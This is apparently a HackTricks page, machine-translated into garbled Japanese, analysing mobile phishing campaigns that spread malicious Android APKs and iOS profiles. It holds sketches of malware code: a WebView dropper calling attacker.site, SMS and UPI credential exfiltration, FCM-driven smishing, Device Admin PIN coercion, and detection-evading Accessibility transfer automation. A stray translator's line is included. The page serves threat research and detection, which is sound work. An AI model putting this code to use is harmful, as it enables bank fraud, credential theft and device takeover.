ã¢ãã€ã«ãã£ãã·ã³ã° & ãã«ãŠã§ã¢çã¢ããªé åž (Android & iOS)
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
[!INFO] ãã®ããŒãžã¯ããã£ãã·ã³ã°ïŒSEOããœãŒã·ã£ã«ãšã³ãžãã¢ãªã³ã°ãåœã¹ãã¢ãåºäŒãç³»ã¢ããªçïŒãéã㊠malicious Android APKs ãš iOS mobile-configuration profiles ãé åžããããã«è åšã¢ã¯ã¿ãŒãäœ¿ãææ³ãæ±ããŸãã è³æã¯ Zimperium zLabsïŒ2025ïŒãæŽé²ãã SarangTrap ãã£ã³ããŒã³ããã®ä»ã®å ¬éç ç©¶ãå ã«é©å¿ããŠããŸãã
æ»æãããŒ
- SEO/Phishing ã€ã³ãã©
- 倿°ã®é¡äŒŒãã¡ã€ã³ïŒåºäŒãç³»ãã¯ã©ãŠãå
±æãã«ãŒãµãŒãã¹ãªã©ïŒãç»é²ã
â
<title>èŠçŽ ã«çŸå°èšèªã®ããŒã¯ãŒããçµµæåã䜿ã£ãŠ Google ã§ã®ã©ã³ã¯ãçãã â AndroidïŒ.apkïŒãš iOS ã®ã€ã³ã¹ããŒã«æé ã®äž¡æ¹ãåäžã©ã³ãã£ã³ã°ããŒãžã«ãã¹ãããã
- ãã¡ãŒã¹ãã¹ããŒãžããŠã³ããŒã
- Android: unsigned ãŸã㯠âthird-party storeâ ã® APK ãžã®çŽæ¥ãªã³ã¯ã
- iOS:
itms-services://ãŸã㯠plain HTTPS ãªã³ã¯ã§æªæãã mobileconfig ãããã¡ã€ã«ãžïŒäžåç §ïŒã
- ã€ã³ã¹ããŒã«åŸã®ãœãŒã·ã£ã«ãšã³ãžãã¢ãªã³ã°
- ååèµ·åæã«ã¢ããªã¯ invitation / verification code ãèŠæ±ïŒéå®ã¢ã¯ã»ã¹ã®é¯èŠãäžããïŒã
- ã³ãŒã㯠HTTP ã§ POST ãã㊠Command-and-Control (C2) ã«éä¿¡ãããã
- C2 ã
{"success":true}ãè¿ã â ãã«ãŠã§ã¢åäœãé²è¡ã - æå¹ãªã³ãŒããéããªããµã³ãããã¯ã¹/AV ã®åçè§£æã¯ æªæããæåãæ€åºããªãïŒåé¿ïŒã
- å®è¡æã®æš©éæªçš (Android)
- å±éºãª permission 㯠C2 ã®è¯å®å¿çåŸ ã«ã®ã¿èŠæ±ããã:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- Older builds also asked for SMS permissions -->
- æè¿ã®ããªã¢ã³ãã¯
AndroidManifest.xmlãã SMS çšã®<uses-permission>ã åé€ ããããJava/Kotlin ã®ã³ãŒãçµè·¯ã¯ãªãã¬ã¯ã·ã§ã³ã§ SMS ãèªãåŠçãæ®ããŠãã â éçã¹ã³ã¢ãäžãã€ã€ãAppOps ã®æªçšãå€ãã¿ãŒã²ããã§ã¯äŸç¶æ©èœããã
- ããµãŒã UI ãšããã¯ã°ã©ãŠã³ãåé
- ã¢ããªã¯ããŒã«ã«ã«å®è£ ãããç¡å®³ãªãã¥ãŒïŒSMS ãã¥ãŒã¢ãã®ã£ã©ãªãŒããã«ãŒïŒã衚瀺ããã
- åæã«ä»¥äžãéä¿¡ãã:
- IMEI / IMSIãé»è©±çªå·
ContactsContractã®ãã«ãã³ãïŒJSON é åïŒ/sdcard/DCIMããã® JPEG/PNG ã Luban ã§å§çž®ããŠãµã€ãºåæž- ãªãã·ã§ã³ã§ SMS å
容ïŒ
content://smsïŒ ãã€ããŒã㯠ãããã§ zip å§çž® ããHTTP POST /upload.phpçµç±ã§éä¿¡ãããã
- iOS é åžææ³
- åäžã® mobile-configuration profile ã
PayloadType=com.apple.sharedlicensesãcom.apple.managedConfigurationçãèŠæ±ããŠãããã€ã¹ã MDM ã©ã€ã¯ãªç£èŠç¶æ ã«ç»é²ã§ããã - ãœãŒã·ã£ã«ãšã³ãžãã¢ãªã³ã°æé äŸ:
- Settings ãéã â Profile downloadedã
- ããŒãžäžã®ã¹ã¯ãªãŒã³ã·ã§ããéãã« Install ã3åã¿ããã
- 眲åãããŠããªããããã¡ã€ã«ãä¿¡é Œ â æ»æè 㯠App Store ã¬ãã¥ãŒãªãã« Contacts ãš Photo ã®æš©éãåŸãã
- ãããã¯ãŒã¯å±€
- å¹³æ HTTPããã°ãã°ããŒã80ãHOST ãããã¯
api.<phishingdomain>.comã®ãããªãã®ã User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)ïŒTLS ããªãããæ€åºããããïŒã
Red-Team åããã³ã
- Dynamic Analysis Bypass â ãã«ãŠã§ã¢è©äŸ¡æã« Frida/Objection ã§ invitation code ãã§ãŒãºãèªååããŠæªæããåå²ã«å°éããã
- Manifest vs. Runtime Diff â
aapt dump permissionsãšå®è¡æã®PackageManager#getRequestedPermissions()ãæ¯èŒïŒå±éºãªæš©éãæ¬ ããŠããã®ã¯ã¬ãããã©ãã°ã - Network Canary â
iptables -p tcp --dport 80 -j NFQUEUEãèšå®ããŠãã³ãŒãå ¥ååŸã®äžèªç¶ãª POST ããŒã¹ããæ€åºããã - mobileconfig Inspection â macOS ã§
security cms -D -i profile.mobileconfigã䜿ãPayloadContentãäžèЧåããŠéå°ãªæš©éãæ€åºããã
䟿å©ãª Frida ã¹ãããã: æåŸ ã³ãŒãèªåãã€ãã¹
Frida: auto-bypass invitation code
```javascript // frida -U -f com.badapp.android -l bypass.js --no-pause // Hook HttpURLConnection write to always return success Java.perform(function() { var URL = Java.use('java.net.URL'); URL.openConnection.implementation = function() { var conn = this.openConnection(); var HttpURLConnection = Java.use('java.net.HttpURLConnection'); if (Java.cast(conn, HttpURLConnection)) { conn.getResponseCode.implementation = function(){ return 200; }; conn.getInputStream.implementation = function(){ return Java.use('java.io.ByteArrayInputStream').$new("{\"success\":true}".getBytes()); }; } return conn; }; }); ```ã€ã³ãžã±ãŒã¿ãŒïŒäžè¬ïŒ
/req/checkCode.php # invite code validation
/upload.php # batched ZIP exfiltration
LubanCompress 1.1.8 # "Luban" string inside classes.dex
Android WebView Payment Phishing (UPI) â Dropper + FCM C2 Pattern
This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.
Delivery chain across trusted platforms
- YouTube video lure â description contains a short link
- Shortlink â GitHub Pages phishing site imitating the legit portal
- Same GitHub repo hosts an APK with a fake âGoogle Playâ badge linking directly to the file
- Dynamic phishing pages live on Replit; remote command channel uses Firebase Cloud Messaging (FCM)
Dropper with embedded payload and offline install
- First APK is an installer (dropper) that ships the real malware at
assets/app.apkand prompts the user to disable WiâFi/mobile data to blunt cloud detection. - The embedded payload installs under an innocuous label (e.g., âSecure Updateâ). After install, both the installer and the payload are present as separate apps.
Static triage tip (grep for embedded payloads):
unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
shortlinkçµç±ã®åçãšã³ããã€ã³ãæ€åº
- Malwareã¯shortlinkãããã¬ãŒã³ããã¹ãã®ã«ã³ãåºåãã®çšŒåäžãšã³ããã€ã³ãäžèЧãååŸããåçŽãªæååå€æã§æçµçãªphishingããŒãžã®ãã¹ãçæããã
äŸïŒãµãã¿ã€ãºæžã¿ïŒïŒ
GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
Transform: "gate.html" â "gate.htm" (loaded in WebView)
UPI credential POST: https://sqcepo.replit.app/addup.php
SMS upload: https://sqcepo.replit.app/addsm.php
æ¬äŒŒã³ãŒã:
String csv = httpGet(shortlink);
String[] parts = csv.split(",");
String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");
WebViewããŒã¹ã® UPI credential harvesting
- ãMake payment of â¹1 / UPIâLiteãã¹ãããã¯ãåçãšã³ããã€ã³ãããæ»æè
ã® HTML ãã©ãŒã ã WebView å
ã«èªã¿èŸŒã¿ãæ©å¯ãã£ãŒã«ãïŒé»è©±çªå·ãéè¡ãUPI PINïŒãååŸããŠ
addup.phpã«POSTããŸãã
æå°ããŒããŒ:
WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
Self-propagation ãš SMS/OTP åå
- ååå®è¡æã«éå°ãªæš©éãèŠæ±ãã:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
- é£çµ¡å ãã«ãŒãåŠçããŠã被害è ã®ããã€ã¹ããsmishing SMSãäžæéä¿¡ããã
- çä¿¡SMSã¯broadcast receiverã«ãã£ãŠååãããmetadataïŒsenderãbodyãSIM slotãper-device random IDïŒãšãšãã«
/addsm.phpã«ã¢ããããŒããããã
Receiver ã¹ã±ãã:
public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
for (SmsMessage m: msgs){
postForm(urlAddSms, new FormBody.Builder()
.add("senderNum", m.getOriginatingAddress())
.add("Message", m.getMessageBody())
.add("Slot", String.valueOf(getSimSlot(i)))
.add("Device rand", getOrMakeDeviceRand(c))
.build());
}
}
Firebase Cloud Messaging (FCM) ãèé害æ§ã®ãã C2 ãšããŠ
- payload 㯠FCM ã«ç»é²ãããããã·ã¥ã¡ãã»ãŒãžã¯
_typeãã£ãŒã«ããæã¡ãã¹ã€ãããšããŠåäœãããªã¬ãŒããŸãïŒäŸ: phishing ããã¹ããã³ãã¬ãŒãã®æŽæ°ãæ¯ãèãã®åãæ¿ãïŒã
äŸ: FCM payload:
{
"to": "<device_fcm_token>",
"data": {
"_type": "update_texts",
"template": "New subsidy message..."
}
}
ãã³ãã©ãŒã®æŠèŠ:
@Override
public void onMessageReceived(RemoteMessage msg){
String t = msg.getData().get("_type");
switch (t){
case "update_texts": applyTemplate(msg.getData().get("template")); break;
case "smish": sendSmishToContacts(); break;
// ... more remote actions
}
}
ã€ã³ãžã±ãŒã¿ãŒ/IOCs
- APK ã¯å¯æ¬¡ãã€ããŒãã
assets/app.apkã«å«ã - WebView ã¯
gate.htmããæ¯æããèªã¿èŸŒã¿ã/addup.phpã«å€éšéä¿¡ãã - SMS ã
/addsm.phpãžå€éšéä¿¡ - ã·ã§ãŒããªã³ã¯é§åã®èšå®ååŸïŒäŸ:
rebrand.ly/*ïŒã§ CSV ãšã³ããã€ã³ããè¿ã - äžè¬çãªãUpdate/Secure Updateããšã©ãã«ä»ããããã¢ããª
- ä¿¡é Œã§ããªãã¢ããªã§
_typeå€å¥åãæã€ FCMdataã¡ãã»ãŒãž
Socket.IO/WebSocket ããŒã¹ã® APK ããæã + åœã® Google Play ããŒãž
æ»æè ã¯éç㪠APK ãªã³ã¯ããGoogle Play 颚ã®èªå°ããŒãžã«åã蟌ãŸãã Socket.IO/WebSocket ãã£ã³ãã«ã§çœ®ãæããããšãå¢ããŠããŸããããã«ãããã€ããŒã URL ãé èœãããURL/æ¡åŒµåãã£ã«ã¿ãŒãåé¿ããçŸå®çãªã€ã³ã¹ããŒã« UX ãç¶æããŸãã
å®éã«èгå¯ãããå žåçãªã¯ã©ã€ã¢ã³ããããŒ:
Socket.IO åœ Play ããŠã³ããŒã㌠(JavaScript)
```javascript // Open Socket.IO channel and request payload const socket = io("wss://// Accumulate binary chunks and drive fake Play progress UI const chunks = []; socket.on(âchunkâ, (chunk) => chunks.push(chunk)); socket.on(âdownloadProgressâ, (p) => updateProgressBar(p));
// Assemble APK clientâside and trigger browser save dialog socket.on(âdownloadCompleteâ, () => { const blob = new Blob(chunks, { type: âapplication/vnd.android.package-archiveâ }); const url = URL.createObjectURL(blob); const a = document.createElement(âaâ); a.href = url; a.download = âapp.apkâ; a.style.display = ânoneâ; document.body.appendChild(a); a.click(); });
</details>
ãªãç°¡åãªå¶åŸ¡ãåé¿ããã®ã:
- éç㪠APK URL ã¯å
¬éãããªã; payload 㯠WebSocket frames ããã¡ã¢ãªäžã§åæ§ç¯ãããã
- çŽæ¥ã® .apk ã¬ã¹ãã³ã¹ããããã¯ãã URL/MIME/æ¡åŒµåãã£ã«ã¿ã¯ãWebSockets/Socket.IO ãçµç±ããŠãã³ããªã³ã°ããããã€ããªããŒã¿ãèŠéãå¯èœæ§ãããã
- WebSockets ãå®è¡ããªãã¯ããŒã©ã URL ãµã³ãããã¯ã¹ã¯ payload ãååŸã§ããªãã
åç
§: WebSocket tradecraft and tooling:
<a class="content_ref" href="../../pentesting-web/websocket-attacks.md"><span class="content_ref_label">WebSocket Attacks</span></a>
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration â RatOn ã®ã±ãŒã¹ã¹ã¿ãã£
RatOn banker/RAT campaign (ThreatFabric) ã¯ãçŸä»£ã®ã¢ãã€ã« phishing ãªãã¬ãŒã·ã§ã³ã WebView droppersãAccessibility-driven UI automationãoverlays/ransomãDevice Admin coercionãAutomated Transfer System (ATS)ãcrypto wallet takeoverãããã«ã¯ NFC-relay orchestration ãçµã¿åãããå
·äœäŸã§ãããæ¬ç¯ã§ã¯åå©çšå¯èœãªææ³ãæœè±¡åããã
### Stage-1: WebView â native install bridge (dropper)
æ»æè
ã¯æ»æè
ããŒãžãæã WebView ã衚瀺ããnative installer ãå
¬éãã JavaScript ã€ã³ã¿ãŒãã§ã€ã¹ã泚å
¥ãããHTML button ãã¿ãããããš native code ãåŒã°ããdropper ã® assets ã«ãã³ãã«ããã second-stage APK ãã€ã³ã¹ããŒã«ããŠçŽæ¥èµ·åããã
Minimal pattern:
<details>
<summary>Stage-1 dropper minimal pattern (Java)</summary>
```java
public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
super.onCreate(b);
WebView wv = new WebView(this);
wv.getSettings().setJavaScriptEnabled(true);
wv.addJavascriptInterface(new Object(){
@android.webkit.JavascriptInterface
public void installApk(){
try {
PackageInstaller pi = getPackageManager().getPackageInstaller();
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
int id = pi.createSession(p);
try (PackageInstaller.Session s = pi.openSession(id);
InputStream in = getAssets().open("payload.apk");
OutputStream out = s.openWrite("base.apk", 0, -1)){
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
}
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
pi.commit(id, status.getIntentSender());
} catch (Exception e) { /* log */ }
}
}, "bridge");
setContentView(wv);
wv.loadUrl("https://attacker.site/install.html");
}
}
翻蚳ãã察象ã®ãã¡ã€ã«å 容ãæç€ºãããŠããŸãããsrc/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md ã®è©²åœéšåïŒMarkdown/HTMLïŒã貌ãä»ããŠãã ãããã¿ã°ããªã³ã¯ãã³ãŒãã¯ç¿»èš³ãããã®ãŸãŸæ®ããŸãã
<button onclick="bridge.installApk()">Install</button>
ã€ã³ã¹ããŒã«åŸãdropper ã¯æç€ºç㪠package/activity çµç±ã§ payload ãèµ·åããŸã:
Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);
Hunting idea: untrusted apps calling addJavascriptInterface() and exposing installer-like methods to WebView; APK shipping an embedded secondary payload under assets/ and invoking the Package Installer Session API.
Consent funnel: Accessibility + Device Admin + follow-on runtime prompts
Stage-2 opens a WebView that hosts an âAccessâ page. Its button invokes an exported method that navigates the victim to the Accessibility settings and requests enabling the rogue service. Once granted, malware uses Accessibility to auto-click through subsequent runtime permission dialogs (contacts, overlay, manage system settings, etc.) and requests Device Admin.
- Accessibility programmatically helps accept later prompts by finding buttons like âAllowâ/âOKâ in the node-tree and dispatching clicks.
- Overlay permission check/request:
if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
Uri.parse("package:" + ctx.getPackageName()));
ctx.startActivity(i);
}
åç §:
WebView ã䜿ã£ã Overlay phishing/ransom
ãªãã¬ãŒã¿ãŒã¯ä»¥äžã®ã³ãã³ããçºè¡ã§ãã:
- URL ãããã«ã¹ã¯ãªãŒã³ã®ãªãŒããŒã¬ã€ã衚瀺ããããŸãã¯
- ã€ã³ã©ã€ã³HTMLãæž¡ã㊠WebView ã®ãªãŒããŒã¬ã€ã«èªã¿èŸŒãŸããã
æ³å®ãããçšé: 匷èŠïŒPINå ¥åïŒããŠã©ã¬ãããéãããŠPINãååŸããã身代éã¡ãã»ãŒãžéä¿¡ããªãŒããŒã¬ã€æš©éããªãå Žåã«ä»äžã確èªããã³ãã³ããçšæããŠããããšã
Remote control model â ããã¹ãæ¬äŒŒã¹ã¯ãªãŒã³ + screen-cast
- Low-bandwidth: 宿çã« Accessibility ããŒãããªãŒããã³ããã衚瀺ãããŠããããã¹ã/roles/bounds ãã·ãªã¢ã©ã€ãºããŠç䌌ã¹ã¯ãªãŒã³ãšã㊠C2 ã«éä¿¡ããïŒäŸ: äžåºŠã ãã®
txt_screenãç¶ç¶çãªscreen_liveïŒã - High-fidelity: MediaProjection ãèŠæ±ããå¿
èŠã«å¿ã㊠screen-casting/recording ãéå§ããïŒäŸ:
display/recordïŒã
ATS playbook (bank app automation)
JSON ã¿ã¹ã¯ãåãåããéè¡ã¢ããªãèµ·åããAccessibility ã䜿ã£ãŠããã¹ãæ€çŽ¢ã座æšã¿ãããçµã¿åãã㊠UI ãæäœããèŠæ±ãããã被害è ã®æ¯æãPINãå ¥åããã
äŸã®ã¿ã¹ã¯:
{
"cmd": "transfer",
"receiver_address": "ACME s.r.o.",
"account": "123456789/0100",
"amount": "24500.00",
"name": "ACME"
}
ããã¿ãŒã²ãããããŒã§èŠãããäŸæ (CZ â EN):
- âNová platbaâ â âæ°ããæ¯æãâ
- âZadat platbuâ â âæ¯æããå ¥åâ
- âNovÜ pÅÃjemceâ â âæ°ããåå人â
- âDomácà ÄÃslo úÄtuâ â âåœå å£åº§çªå·â
- âDalÅ¡Ãâ â âæ¬¡ãžâ
- âOdeslatâ â âéä¿¡â
- âAno, pokraÄovatâ â âã¯ããç¶è¡â
- âZaplatitâ â âæ¯æãâ
- âHotovoâ â âå®äºâ
Operators can also check/raise transfer limits via commands like check_limit and limit that navigate the limits UI similarly.
Crypto wallet seed extraction
察象äŸ: MetaMaskãTrust WalletãBlockchain.comãPhantomã
ãããŒ: ã¢ã³ããã¯ïŒçãŸãã PIN ãŸãã¯æäŸããããã¹ã¯ãŒãïŒãSecurity/Recovery ã«ç§»åãã·ãŒããã¬ãŒãºã衚瀺ãkeylog/exfiltrate itãEN/RU/CZ/SK ãèæ
®ãããã±ãŒã«å¯Ÿå¿ã»ã¬ã¯ã¿ãå®è£
ããèšèªéã§ã®ããã²ãŒã·ã§ã³ãå®å®ãããã
Device Admin coercion
Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:
- Immediate lock:
dpm.lockNow();
- çŸåšã®èªèšŒæ å ±ãæéåãã«ããŠå€æŽã匷å¶ãã (Accessibility ãæ°ãã PIN/ãã¹ã¯ãŒããååŸãã):
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
- keyguard ã®çäœèªèšŒæ©èœãç¡å¹åããŠçäœèªèšŒä»¥å€ã§ã®ããã¯è§£é€ã匷å¶ãã:
dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
泚æ: æè¿ã® Android ã§ã¯å€ãã® DevicePolicyManager ã³ã³ãããŒã«ã Device Owner/Profile Owner ãå¿ èŠãšãã; äžéšã® OEM ãã«ãã¯ç·©ãå Žåããããã¿ãŒã²ããã® OS/OEM äžã§å¿ ãæ€èšŒããããšã
NFC relay orchestration (NFSkate)
Stage-3 ã¯å€éšã® NFC-relay ã¢ãžã¥ãŒã«ïŒäŸ: NFSkateïŒãã€ã³ã¹ããŒã«ã»èµ·åããäžç¶äžã«è¢«å®³è ãèªå°ããããã® HTML ãã³ãã¬ãŒããæž¡ãããšããå¯èœãããã«ããããªã³ã©ã€ã³ ATS ãšäžŠè¡ããéæ¥è§Šã«ãŒããã¬ãŒã³ãã®ãã£ãã·ã¥ã¢ãŠããå¯èœã«ãªãã
Background: NFSkate NFC relay.
Operator command set (sample)
- UI/state:
txt_screen,screen_live,display,record - Social:
send_push,Facebook,WhatsApp - Overlays:
overlay(ã€ã³ã©ã€ã³ HTML),block(URL),block_off,access_tint - Wallets:
metamask,trust,blockchain,phantom - ATS:
transfer,check_limit,limit - Device:
lock,expire_password,disable_keyguard,home,back,recents,power,touch,swipe,keypad,tint,sound_mode,set_sound - Comms/Recon:
update_device,send_sms,replace_buffer,get_name,add_contact - NFC:
nfs,nfs_inject
Accessibility-driven ATS anti-detection: human-like text cadence and dual text injection (Herodotus)
è åšã¢ã¯ã¿ãŒã¯ãŸããŸã Accessibility é§åã®èªååãšãåºæ¬çãªè¡åãã€ãªã¡ããªã¯ã¹ã«å¯Ÿããæ€ç¥åé¿ãçµã¿åãããŠãããæè¿ã® banker/RAT ã¯ãçžè£çãª2ã€ã®ããã¹ãé ä¿¡ã¢ãŒããšãã©ã³ãã åãããã±ã€ãã³ã¹ã§äººéã®ã¿ã€ãã³ã°ãæš¡å£ããããã®ãªãã¬ãŒã¿ãã°ã«ãåããŠããã
- Discovery mode: æäœåã«ã»ã¬ã¯ã¿ãš bounds ã§å¯èŠããŒããåæããå ¥åãæ£ç¢ºã«ã¿ãŒã²ããããïŒIDãtextãcontentDescriptionãhintãboundsïŒã
- Dual text injection:
- Mode 1 â
ACTION_SET_TEXTãçŽæ¥ã¿ãŒã²ããããŒãã«é©çšïŒå®å®ãããŒããŒãäžèŠïŒ - Mode 2 â ã¯ãªããããŒãèšå® +
ACTION_PASTEããã©ãŒã«ã¹ãããããŒãã«å®è¡ïŒçŽæ¥ setText ããããã¯ãããå Žåã«æå¹ïŒ - Human-like cadence: ãªãã¬ãŒã¿ãæäŸããæååãåå²ããã€ãã³ãéã§ã©ã³ãã åããã300â3000 ms ã®é
å»¶ãæãã§1æåãã€éä¿¡ãããmachine-speed typingããã¥ãŒãªã¹ãã£ã¯ã¹ãåé¿ãããå®è£
ã¯
ACTION_SET_TEXTã§å€ã段éçã«å¢å ãããæ¹æ³ããŸãã¯1æåãã€è²Œãä»ããæ¹æ³ã®ããããã
Java ã¹ã±ãã: ããŒãæ€åº + setText ãŸã㯠clipboard+paste ã䜿ã£ãæåæ¯ã®é å»¶å ¥å
```java // Enumerate nodes (HVNCA11Y-like): text, id, desc, hint, bounds void discover(AccessibilityNodeInfo r, List// Mode 1: progressively set text with randomized 300â3000 ms delays void sendTextSetText(AccessibilityNodeInfo field, String s) throws InterruptedException{ String cur = ââ; for (char c: s.toCharArray()){ cur += c; Bundle b=new Bundle(); b.putCharSequence(AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, cur); field.performAction(AccessibilityNodeInfo.ACTION_SET_TEXT, b); Thread.sleep(300 + new java.util.Random().nextInt(2701)); } }
// Mode 2: clipboard + paste per-char with randomized delays void sendTextPaste(AccessibilityService svc, AccessibilityNodeInfo field, String s) throws InterruptedException{ field.performAction(AccessibilityNodeInfo.ACTION_FOCUS); ClipboardManager cm=(ClipboardManager) svc.getSystemService(Context.CLIPBOARD_SERVICE); for (char c: s.toCharArray()){ cm.setPrimaryClip(ClipData.newPlainText(âxâ, Character.toString(c))); field.performAction(AccessibilityNodeInfo.ACTION_PASTE); Thread.sleep(300 + new java.util.Random().nextInt(2701)); } }
</details>
è©æ¬ºãé ãããã®ããããã³ã°ãªãŒããŒã¬ã€ïŒ
- ãªãã¬ãŒã¿ãå¶åŸ¡ããäžéæåºŠã§ãã«ã¹ã¯ãªãŒã³ã® `TYPE_ACCESSIBILITY_OVERLAY` ãã¬ã³ããªã³ã°ããããªã¢ãŒãèªååãèåŸã§é²è¡ããŠããéã被害è
ã«ã¯äžéæãªãŸãŸã«ããŠããã
- äžè¬çã«å
¬éãããã³ãã³ã: `opacityOverlay <0..255>`, `sendOverlayLoading <html/url>`, `removeOverlay`.
ã¢ã«ãã¡ã調æŽå¯èœãªæå°éã®ãªãŒããŒã¬ã€ïŒ
```java
View v = makeOverlayView(ctx); v.setAlpha(0.92f); // 0..1
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL,
PixelFormat.TRANSLUCENT);
wm.addView(v, lp);
ãªãã¬ãŒã¿å¶åŸ¡ããªããã£ãã«ããèŠããããã®: BACK, HOME, RECENTS, CLICKTXT/CLICKDESC/CLICKELEMENT/CLICKHINT, TAP/SWIPE, NOTIFICATIONS, OPNPKG, VNC/VNCA11YïŒã¹ã¯ãªãŒã³å
±æïŒã
åèè³æ
-
New Android Malware Herodotus Mimics Human Behaviour to Evade Detection
-
Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)
-
The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)
-
GhostTap/NFSkate â NFC relay cash-out tactic (ThreatFabric)
-
Banker Trojan Targeting Indonesian and Vietnamese Android Users (DomainTools)
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


